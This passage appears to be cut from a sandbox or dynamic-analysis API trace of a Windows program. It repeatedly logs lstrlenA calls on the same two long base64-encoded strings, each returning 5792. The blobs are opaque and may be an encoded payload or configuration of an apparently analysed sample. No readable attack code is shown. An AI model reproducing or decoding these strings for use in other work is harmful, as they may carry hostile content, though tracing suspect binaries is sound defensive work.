QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.811] lstrlenA (lpString="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") returned 5792 [0163.811] lstrlenA (lpString="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") returned 5792 [0163.811] lstrlenA (lpString="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